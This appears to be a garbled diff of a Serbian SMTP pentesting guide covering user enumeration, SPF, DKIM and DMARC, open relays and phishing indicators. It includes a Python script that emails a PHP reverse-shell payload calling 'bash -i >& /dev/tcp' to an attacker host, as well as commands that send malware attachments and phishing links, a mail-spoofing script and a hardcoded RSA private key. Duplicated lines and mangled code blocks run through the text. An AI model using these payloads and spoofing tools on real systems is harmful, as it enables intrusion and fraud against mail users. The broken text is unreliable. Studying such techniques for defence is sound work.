220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
|
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
|
||||||
EHLO all
|
EHLO all
|
||||||
|
@ -101,6 +114,7 @@ EHLO all
|
||||||
MAIL FROM: me
|
MAIL FROM: me
|
||||||
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
|
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
|
||||||
```
|
```
|
||||||
|
|
||||||
### Snifovanje
|
### Snifovanje
|
||||||
|
|
||||||
Proverite da li ste snifovali neku lozinku iz paketa ka portu 25
|
Proverite da li ste snifovali neku lozinku iz paketa ka portu 25
|
||||||
|
@ -112,6 +126,7 @@ Proverite da li ste snifovali neku lozinku iz paketa ka portu 25
|
||||||
**Autentikacija nije uvek potrebna**
|
**Autentikacija nije uvek potrebna**
|
||||||
|
|
||||||
### RCPT TO
|
### RCPT TO
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ telnet 1.1.1.1 25
|
$ telnet 1.1.1.1 25
|
||||||
Trying 1.1.1.1...
|
Trying 1.1.1.1...
|
||||||
|
@ -129,9 +144,11 @@ RCPT TO:admin
|
||||||
RCPT TO:ed
|
RCPT TO:ed
|
||||||
250 2.1.5 ed... Recipient ok
|
250 2.1.5 ed... Recipient ok
|
||||||
```
|
```
|
||||||
|
|
||||||
### VRFY
|
### VRFY
|
||||||
|
|
||||||
VRFY komanda se koristi za potvrdu da li korisničko ime ili adresa e-pošte postoji na SMTP serveru. Ova komanda može biti iskorišćena od strane napadača za prikupljanje validnih korisničkih imena ili adresa e-pošte koje se mogu koristiti za dalje napade poput social engineeringa ili brute force napada na šifre. Kako bi se zaštitili od ovakvih napada, preporučuje se da se VRFY komanda onemogući na SMTP serverima.
|
VRFY komanda se koristi za potvrdu da li korisničko ime ili adresa e-pošte postoji na SMTP serveru. Ova komanda može biti iskorišćena od strane napadača za prikupljanje validnih korisničkih imena ili adresa e-pošte koje se mogu koristiti za dalje napade poput social engineeringa ili brute force napada na šifre. Kako bi se zaštitili od ovakvih napada, preporučuje se da se VRFY komanda onemogući na SMTP serverima.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ telnet 1.1.1.1 25
|
$ telnet 1.1.1.1 25
|
||||||
Trying 1.1.1.1...
|
Trying 1.1.1.1...
|
||||||
|
@ -147,9 +164,11 @@ VRFY root
|
||||||
VRFY blah
|
VRFY blah
|
||||||
550 blah... User unknown
|
550 blah... User unknown
|
||||||
```
|
```
|
||||||
|
|
||||||
### EXPN
|
### EXPN
|
||||||
|
|
||||||
### EXPN
|
### EXPN
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ telnet 1.1.1.1 25
|
$ telnet 1.1.1.1 25
|
||||||
Trying 1.1.1.1...
|
Trying 1.1.1.1...
|
||||||
|
@ -166,12 +185,15 @@ EXPN root
|
||||||
EXPN sshd
|
EXPN sshd
|
||||||
250 2.1.5 sshd privsep sshd@myhost
|
250 2.1.5 sshd privsep sshd@myhost
|
||||||
```
|
```
|
||||||
|
|
||||||
### Automatski alati
|
### Automatski alati
|
||||||
|
|
||||||
```
|
```
|
||||||
Metasploit: auxiliary/scanner/smtp/smtp_enum
|
Metasploit: auxiliary/scanner/smtp/smtp_enum
|
||||||
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
|
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
|
||||||
Nmap: nmap --script smtp-enum-users <IP>
|
Nmap: nmap --script smtp-enum-users <IP>
|
||||||
```
|
```
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite pun pentest sa više od 20 alatki i funkcija koje idu od rekonstrukcije do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite pun pentest sa više od 20 alatki i funkcija koje idu od rekonstrukcije do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
||||||
|
@ -185,6 +207,7 @@ Nmap: nmap --script smtp-enum-users <IP>
|
||||||
## [Komande](smtp-commands.md)
|
## [Komande](smtp-commands.md)
|
||||||
|
|
||||||
### Slanje emaila iz Linux konzole
|
### Slanje emaila iz Linux konzole
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
|
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
|
||||||
Reading message body from STDIN because the '-m' option was not used.
|
Reading message body from STDIN because the '-m' option was not used.
|
||||||
|
@ -198,62 +221,57 @@ If you are manually typing in a message:
|
||||||
```bash
|
```bash
|
||||||
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
|
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
|
||||||
```
|
```
|
||||||
|
|
||||||
### Slanje email-a pomoću Python-a
|
### Slanje email-a pomoću Python-a
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Python kod ovde</summary>
|
<summary>Python kod ovde</summary>
|
||||||
```python
|
|
||||||
from email.mime.multipart import MIMEMultipart
|
|
||||||
from email.mime.text import MIMEText
|
|
||||||
import smtplib
|
|
||||||
import sys
|
|
||||||
|
|
||||||
lhost = "127.0.0.1"
|
\`\`\`python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys
|
||||||
lport = 443
|
|
||||||
rhost = "192.168.1.1"
|
lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587
|
||||||
rport = 25 # 489,587
|
|
||||||
|
## create message object instance
|
||||||
|
|
||||||
# create message object instance
|
|
||||||
msg = MIMEMultipart()
|
msg = MIMEMultipart()
|
||||||
|
|
||||||
# setup the parameters of the message
|
## setup the parameters of the message
|
||||||
password = ""
|
|
||||||
msg['From'] = "attacker@local"
|
|
||||||
msg['To'] = "victim@local"
|
|
||||||
msg['Subject'] = "This is not a drill!"
|
|
||||||
|
|
||||||
# payload
|
password = "" msg\['From'] = "attacker@local" msg\['To'] = "victim@local" msg\['Subject'] = "This is not a drill!"
|
||||||
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
|
|
||||||
|
|
||||||
print("[*] Payload is generated : %s" % message)
|
## payload
|
||||||
|
|
||||||
msg.attach(MIMEText(message, 'plain'))
|
message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
|
||||||
server = smtplib.SMTP(host=rhost,port=rport)
|
|
||||||
|
|
||||||
if server.noop()[0] != 250:
|
print("\[\*] Payload is generated : %s" % message)
|
||||||
print("[-]Connection Error")
|
|
||||||
exit()
|
msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)
|
||||||
|
|
||||||
|
if server.noop()\[0] != 250: print("\[-]Connection Error") exit()
|
||||||
|
|
||||||
server.starttls()
|
server.starttls()
|
||||||
|
|
||||||
# Uncomment if log-in with authencation
|
## Uncomment if log-in with authencation
|
||||||
# server.login(msg['From'], password)
|
|
||||||
|
|
||||||
server.sendmail(msg['From'], msg['To'], msg.as_string())
|
## server.login(msg\['From'], password)
|
||||||
server.quit()
|
|
||||||
|
|
||||||
print("[***]successfully sent email to %s:" % (msg['To']))
|
server.sendmail(msg\['From'], msg\['To'], msg.as\_string()) server.quit()
|
||||||
```
|
|
||||||
|
print("\[\*\*\*]successfully sent email to %s:" % (msg\['To']))
|
||||||
|
|
||||||
|
````
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## SMTP Smuggling
|
## SMTP Smuggling
|
||||||
|
|
||||||
Ranjivost SMTP transporta omogućila je zaobilaženje svih SMTP zaštita (proverite sledeći odeljak za više informacija o zaštitama). Za više informacija o SMTP transportu pogledajte:
|
Ranjivost SMTP transporta omogućila je zaobilaženje svih SMTP zaštita (proverite sledeći odeljak za više informacija o zaštitama). Za više informacija o SMTP transportu pogledajte:
|
||||||
|
|
||||||
{% content-ref url="smtp-smuggling.md" %}
|
<div data-gb-custom-block data-tag="content-ref" data-url='smtp-smuggling.md'>
|
||||||
|
|
||||||
[smtp-smuggling.md](smtp-smuggling.md)
|
[smtp-smuggling.md](smtp-smuggling.md)
|
||||||
{% endcontent-ref %}
|
|
||||||
|
</div>
|
||||||
|
|
||||||
## Mera protiv lažnog slanja e-pošte
|
## Mera protiv lažnog slanja e-pošte
|
||||||
|
|
||||||
|
@ -263,10 +281,12 @@ Organizacije su sprečene da neovlašćeno šalju e-poštu u njihovo ime koriš
|
||||||
|
|
||||||
### SPF
|
### SPF
|
||||||
|
|
||||||
{% hint style="danger" %}
|
<div data-gb-custom-block data-tag="hint" data-style='danger'>
|
||||||
|
|
||||||
SPF je "zastareo" 2014. godine. To znači da umesto kreiranja **TXT zapisa** u `_spf.domain.com`, kreirate ga u `domain.com` koristeći **isti sintaksu**.\
|
SPF je "zastareo" 2014. godine. To znači da umesto kreiranja **TXT zapisa** u `_spf.domain.com`, kreirate ga u `domain.com` koristeći **isti sintaksu**.\
|
||||||
Osim toga, da biste ponovo koristili prethodne SPF zapise, često je uobičajeno pronaći nešto poput `"v=spf1 include:_spf.google.com ~all"`
|
Osim toga, da biste ponovo koristili prethodne SPF zapise, često je uobičajeno pronaći nešto poput `"v=spf1 include:_spf.google.com ~all"`
|
||||||
{% endhint %}
|
|
||||||
|
</div>
|
||||||
|
|
||||||
**Sender Policy Framework** (SPF) je mehanizam koji omogućava Mail Transfer Agents (MTA) da provere da li je host koji šalje e-poštu ovlašćen tako što upita listu ovlašćenih poštanskih servera definisanih od strane organizacija. Ova lista, koja specificira IP adrese/opsege, domene i druge entitete **ovlašćene da šalju e-poštu u ime imena domena**, uključuje različite "**Mehanizme**" u SPF zapisu.
|
**Sender Policy Framework** (SPF) je mehanizam koji omogućava Mail Transfer Agents (MTA) da provere da li je host koji šalje e-poštu ovlašćen tako što upita listu ovlašćenih poštanskih servera definisanih od strane organizacija. Ova lista, koja specificira IP adrese/opsege, domene i druge entitete **ovlašćene da šalju e-poštu u ime imena domena**, uključuje različite "**Mehanizme**" u SPF zapisu.
|
||||||
|
|
||||||
|
@ -316,28 +336,32 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
|
||||||
|
|
||||||
dig txt _netblocks3.google.com | grep spf
|
dig txt _netblocks3.google.com | grep spf
|
||||||
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
||||||
```
|
````
|
||||||
|
|
||||||
Tradicionalno je bilo moguće lažirati bilo koje ime domena koje nije imalo tačan/nijedan SPF zapis. **Danas**, ako **e-pošta dolazi sa domena bez validnog SPF zapisa**, verovatno će biti **odbijena/označena kao nepoverljiva automatski**.
|
Tradicionalno je bilo moguće lažirati bilo koje ime domena koje nije imalo tačan/nijedan SPF zapis. **Danas**, ako **e-pošta dolazi sa domena bez validnog SPF zapisa**, verovatno će biti **odbijena/označena kao nepoverljiva automatski**.
|
||||||
|
|
||||||
Da biste proverili SPF domena, možete koristiti online alate poput: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
Da biste proverili SPF domena, možete koristiti online alate poput: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
||||||
|
|
||||||
### DKIM (DomainKeys Identified Mail)
|
#### DKIM (DomainKeys Identified Mail)
|
||||||
|
|
||||||
DKIM se koristi za potpisivanje odlaznih e-pošta, omogućavajući njihovu validaciju od strane spoljnih Mail Transfer Agents (MTA) putem dobijanja javnog ključa domena iz DNS-a. Taj javni ključ se nalazi u TXT zapisu domena. Da biste pristupili ovom ključu, morate znati i selektor i ime domena.
|
DKIM se koristi za potpisivanje odlaznih e-pošta, omogućavajući njihovu validaciju od strane spoljnih Mail Transfer Agents (MTA) putem dobijanja javnog ključa domena iz DNS-a. Taj javni ključ se nalazi u TXT zapisu domena. Da biste pristupili ovom ključu, morate znati i selektor i ime domena.
|
||||||
|
|
||||||
Na primer, zahtev za ključem, ime domena i selektor su neophodni. Oni se mogu pronaći u zaglavlju e-pošte `DKIM-Signature`, npr. `d=gmail.com;s=20120113`.
|
Na primer, zahtev za ključem, ime domena i selektor su neophodni. Oni se mogu pronaći u zaglavlju e-pošte `DKIM-Signature`, npr. `d=gmail.com;s=20120113`.
|
||||||
|
|
||||||
Komanda za dobijanje ovih informacija može izgledati ovako:
|
Komanda za dobijanje ovih informacija može izgledati ovako:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
dig 20120113._domainkey.gmail.com TXT | grep p=
|
dig 20120113._domainkey.gmail.com TXT | grep p=
|
||||||
# This command would return something like:
|
# This command would return something like:
|
||||||
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
|
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
|
||||||
```
|
```
|
||||||
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
|
||||||
|
#### DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
||||||
|
|
||||||
DMARC poboljšava sigurnost e-pošte gradeći na SPF i DKIM protokolima. On definiše politike koje vode mail servere u rukovanju e-poštom sa određene domene, uključujući kako postupati sa autentifikacionim greškama i gde slati izveštaje o akcijama obrade e-pošte.
|
DMARC poboljšava sigurnost e-pošte gradeći na SPF i DKIM protokolima. On definiše politike koje vode mail servere u rukovanju e-poštom sa određene domene, uključujući kako postupati sa autentifikacionim greškama i gde slati izveštaje o akcijama obrade e-pošte.
|
||||||
|
|
||||||
**Da biste dobili DMARC zapis, morate upitati poddomen \_dmarc**
|
**Da biste dobili DMARC zapis, morate upitati poddomen \_dmarc**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Reject
|
# Reject
|
||||||
dig _dmarc.facebook.com txt | grep DMARC
|
dig _dmarc.facebook.com txt | grep DMARC
|
||||||
|
@ -351,53 +375,47 @@ _dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-repor
|
||||||
dig _dmarc.bing.com txt | grep DMARC
|
dig _dmarc.bing.com txt | grep DMARC
|
||||||
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
|
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
|
||||||
```
|
```
|
||||||
#### DMARC oznake
|
|
||||||
|
|
||||||
| Ime oznake | Svrha | Primer |
|
**DMARC oznake**
|
||||||
| ---------- | --------------------------------------------- | ------------------------------- |
|
|
||||||
| v | Verzija protokola | v=DMARC1 |
|
|
||||||
| pct | Procenat poruka podvrgnut filtriranju | pct=20 |
|
|
||||||
| ruf | URI za prijavljivanje forenzičkih izveštaja | ruf=mailto:authfail@example.com |
|
|
||||||
| rua | URI za prijavljivanje agregiranih izveštaja | rua=mailto:aggrep@example.com |
|
|
||||||
| p | Politika za organizacioni domen | p=quarantine |
|
|
||||||
| sp | Politika za poddomene OD-a | sp=reject |
|
|
||||||
| adkim | Režim poravnanja za DKIM | adkim=s |
|
|
||||||
| aspf | Režim poravnanja za SPF | aspf=r |
|
|
||||||
|
|
||||||
### **Šta je sa Poddomenima?**
|
#### **Šta je sa Poddomenima?**
|
||||||
|
|
||||||
**Od** [**ovde**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
**Od** [**ovde**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
||||||
Morate imati odvojene SPF zapise za svaki poddomen sa kog želite da šaljete poštu.\
|
Morate imati odvojene SPF zapise za svaki poddomen sa kog želite da šaljete poštu.\
|
||||||
Sledeće je originalno objavljeno na openspf.org, koji je nekada bio odličan resurs za ovu vrstu informacija.
|
Sledeće je originalno objavljeno na openspf.org, koji je nekada bio odličan resurs za ovu vrstu informacija.
|
||||||
|
|
||||||
> Pitanje Demona: Šta je sa poddomenima?
|
Pitanje Demona: Šta je sa poddomenima?
|
||||||
>
|
|
||||||
> Ako dobijem poštu sa pielovers.demon.co.uk, i nema SPF podataka za pielovers, da li treba da se vratim jedan nivo unazad i testiram SPF za demon.co.uk? Ne. Svaki poddomen na Demonu je drugačiji korisnik, i svaki korisnik može imati svoju politiku. Ne bi imalo smisla da se politika Demona automatski primenjuje na sve svoje korisnike; ako Demon želi to da uradi, može postaviti SPF zapise za svaki poddomen.
|
Ako dobijem poštu sa pielovers.demon.co.uk, i nema SPF podataka za pielovers, da li treba da se vratim jedan nivo unazad i testiram SPF za demon.co.uk? Ne. Svaki poddomen na Demonu je drugačiji korisnik, i svaki korisnik može imati svoju politiku. Ne bi imalo smisla da se politika Demona automatski primenjuje na sve svoje korisnike; ako Demon želi to da uradi, može postaviti SPF zapise za svaki poddomen.
|
||||||
>
|
|
||||||
> Dakle, savet izdavačima SPF-a je sledeći: trebalo bi da dodate SPF zapis za svaki poddomen ili ime hosta koje ima A ili MX zapis.
|
Dakle, savet izdavačima SPF-a je sledeći: trebalo bi da dodate SPF zapis za svaki poddomen ili ime hosta koje ima A ili MX zapis.
|
||||||
>
|
|
||||||
> Sajtovi sa wildcard A ili MX zapisima takođe treba da imaju wildcard SPF zapis, u obliku: \* IN TXT "v=spf1 -all"
|
Sajtovi sa wildcard A ili MX zapisima takođe treba da imaju wildcard SPF zapis, u obliku: \* IN TXT "v=spf1 -all"
|
||||||
|
|
||||||
Ovo ima smisla - poddomen može biti u potpuno drugačijoj geografskoj lokaciji i imati potpuno drugačiju definiciju SPF-a.
|
Ovo ima smisla - poddomen može biti u potpuno drugačijoj geografskoj lokaciji i imati potpuno drugačiju definiciju SPF-a.
|
||||||
|
|
||||||
### **Otvoreni Relej**
|
#### **Otvoreni Relej**
|
||||||
|
|
||||||
Prilikom slanja emailova, važno je osigurati da ne budu označeni kao spam. Ovo se često postiže korišćenjem **relejnog servera koji je poveren od strane primaoca**. Međutim, čest izazov je što administratori možda nisu potpuno svesni koje **IP opsege je bezbedno dozvoliti**. Ovaj nedostatak razumevanja može dovesti do grešaka prilikom postavljanja SMTP servera, rizik koji se često identifikuje u bezbednosnim procenama.
|
Prilikom slanja emailova, važno je osigurati da ne budu označeni kao spam. Ovo se često postiže korišćenjem **relejnog servera koji je poveren od strane primaoca**. Međutim, čest izazov je što administratori možda nisu potpuno svesni koje **IP opsege je bezbedno dozvoliti**. Ovaj nedostatak razumevanja može dovesti do grešaka prilikom postavljanja SMTP servera, rizik koji se često identifikuje u bezbednosnim procenama.
|
||||||
|
|
||||||
Rešenje koje neki administratori koriste kako bi izbegli probleme sa isporukom emailova, posebno u vezi sa komunikacijom sa potencijalnim ili postojećim klijentima, je da **dozvole konekcije sa bilo kog IP adrese**. Ovo se postiže konfigurisanjem parametra `mynetworks` SMTP servera da prihvati sve IP adrese, kako je prikazano ispod:
|
Rešenje koje neki administratori koriste kako bi izbegli probleme sa isporukom emailova, posebno u vezi sa komunikacijom sa potencijalnim ili postojećim klijentima, je da **dozvole konekcije sa bilo kog IP adrese**. Ovo se postiže konfigurisanjem parametra `mynetworks` SMTP servera da prihvati sve IP adrese, kako je prikazano ispod:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
mynetworks = 0.0.0.0/0
|
mynetworks = 0.0.0.0/0
|
||||||
```
|
```
|
||||||
|
|
||||||
Za proveru da li je poštanski server otvoren relej (što znači da može prosleđivati e-poštu sa bilo kog eksternog izvora), često se koristi alat `nmap`. On uključuje specifičan skript dizajniran za testiranje ovoga. Komanda za sprovođenje detaljnog skeniranja servera (na primer, sa IP adresom 10.10.10.10) na portu 25 korišćenjem `nmap`-a je:
|
Za proveru da li je poštanski server otvoren relej (što znači da može prosleđivati e-poštu sa bilo kog eksternog izvora), često se koristi alat `nmap`. On uključuje specifičan skript dizajniran za testiranje ovoga. Komanda za sprovođenje detaljnog skeniranja servera (na primer, sa IP adresom 10.10.10.10) na portu 25 korišćenjem `nmap`-a je:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||||
```
|
```
|
||||||
### **Alati**
|
|
||||||
|
#### **Alati**
|
||||||
|
|
||||||
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Proverite konfiguracije SPF i DMARC**
|
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Proverite konfiguracije SPF i DMARC**
|
||||||
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Automatski dobijanje SPF i DMARC konfiguracija**
|
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Automatski dobijanje SPF i DMARC konfiguracija**
|
||||||
|
|
||||||
### Slanje lažnih emailova
|
#### Slanje lažnih emailova
|
||||||
|
|
||||||
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
|
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
|
||||||
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
|
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
|
||||||
|
@ -406,15 +424,17 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||||
**Ili možete koristiti alat:**
|
**Ili možete koristiti alat:**
|
||||||
|
|
||||||
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
|
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# This will send a test email from test@victim.com to destination@gmail.com
|
# This will send a test email from test@victim.com to destination@gmail.com
|
||||||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
||||||
# But you can also modify more options of the email
|
# But you can also modify more options of the email
|
||||||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
|
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
|
||||||
Ako dobijete bilo kakvu grešku prilikom korišćenja dkim python lib prilikom parsiranja ključa, slobodno koristite sledeći.\
|
Ako dobijete bilo kakvu grešku prilikom korišćenja dkim python lib prilikom parsiranja ključa, slobodno koristite sledeći.\
|
||||||
**NAPOMENA**: Ovo je samo brzo rešenje za obavljanje brzih provera u slučajevima kada iz nekog razloga openssl privatni ključ ne može da bude parsiran od strane dkim-a.
|
**NAPOMENA**: Ovo je samo brzo rešenje za obavljanje brzih provera u slučajevima kada iz nekog razloga openssl privatni ključ ne može da bude parsiran od strane dkim-a.
|
||||||
|
|
||||||
```
|
```
|
||||||
-----BEGIN RSA PRIVATE KEY-----
|
-----BEGIN RSA PRIVATE KEY-----
|
||||||
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
|
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
|
||||||
|
@ -432,18 +452,15 @@ zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
|
||||||
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
|
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
|
||||||
-----END RSA PRIVATE KEY-----
|
-----END RSA PRIVATE KEY-----
|
||||||
```
|
```
|
||||||
{% endhint %}
|
|
||||||
|
|
||||||
**Ili to možete uraditi ručno:**
|
**Ili to možete uraditi ručno:**
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="PHP" %}
|
|
||||||
<pre class="language-php"><code class="lang-php"><strong># Ovo će poslati nepotpisanu poruku
|
<pre class="language-php"><code class="lang-php"><strong># Ovo će poslati nepotpisanu poruku
|
||||||
</strong><strong>mail("vas_email@gmail.com", "Test subjekat!", "hey! Ovo je test", "Od: administrator@victim.com");
|
</strong><strong>mail("vas_email@gmail.com", "Test subjekat!", "hey! Ovo je test", "Od: administrator@victim.com");
|
||||||
</strong></code></pre>
|
</strong></code></pre>
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="Python" %}
|
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
|
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
|
||||||
|
|
||||||
|
@ -499,11 +516,12 @@ smtp="127.0.0.1"
|
||||||
s = smtplib.SMTP(smtp)
|
s = smtplib.SMTP(smtp)
|
||||||
s.sendmail(sender, [destination], msg_data)
|
s.sendmail(sender, [destination], msg_data)
|
||||||
```
|
```
|
||||||
### **Više informacija**
|
|
||||||
|
#### **Više informacija**
|
||||||
|
|
||||||
**Pronađite više informacija o ovim zaštitama na** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
|
**Pronađite više informacija o ovim zaštitama na** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
|
||||||
|
|
||||||
### **Drugi indikatori phishinga**
|
#### **Drugi indikatori phishinga**
|
||||||
|
|
||||||
* Starost domena
|
* Starost domena
|
||||||
* Linkovi koji vode ka IP adresama
|
* Linkovi koji vode ka IP adresama
|
||||||
|
@ -514,27 +532,30 @@ s.sendmail(sender, [destination], msg_data)
|
||||||
* Postojanje važećeg i pouzdanog SSL sertifikata
|
* Postojanje važećeg i pouzdanog SSL sertifikata
|
||||||
* Slanje stranice na sajtove za filtriranje web sadržaja
|
* Slanje stranice na sajtove za filtriranje web sadržaja
|
||||||
|
|
||||||
## Izfiltracija putem SMTP-a
|
### Izfiltracija putem SMTP-a
|
||||||
|
|
||||||
**Ako možete slati podatke putem SMTP-a** [**pročitajte ovo**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
|
**Ako možete slati podatke putem SMTP-a** [**pročitajte ovo**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
|
||||||
|
|
||||||
## Konfiguracioni fajl
|
### Konfiguracioni fajl
|
||||||
|
|
||||||
### Postfix
|
#### Postfix
|
||||||
|
|
||||||
Obično, ako je instaliran, u `/etc/postfix/master.cf` se nalaze **skripte za izvršavanje** kada se na primer primi nova pošta od korisnika. Na primer, linija `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` znači da će se `/etc/postfix/filtering` izvršiti ako korisnik mark primi novu poštu.
|
Obično, ako je instaliran, u `/etc/postfix/master.cf` se nalaze **skripte za izvršavanje** kada se na primer primi nova pošta od korisnika. Na primer, linija `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` znači da će se `/etc/postfix/filtering` izvršiti ako korisnik mark primi novu poštu.
|
||||||
|
|
||||||
Drugi konfiguracioni fajlovi:
|
Drugi konfiguracioni fajlovi:
|
||||||
|
|
||||||
```
|
```
|
||||||
sendmail.cf
|
sendmail.cf
|
||||||
submit.cf
|
submit.cf
|
||||||
```
|
```
|
||||||
## Reference
|
|
||||||
|
### Reference
|
||||||
|
|
||||||
* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
|
* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
|
||||||
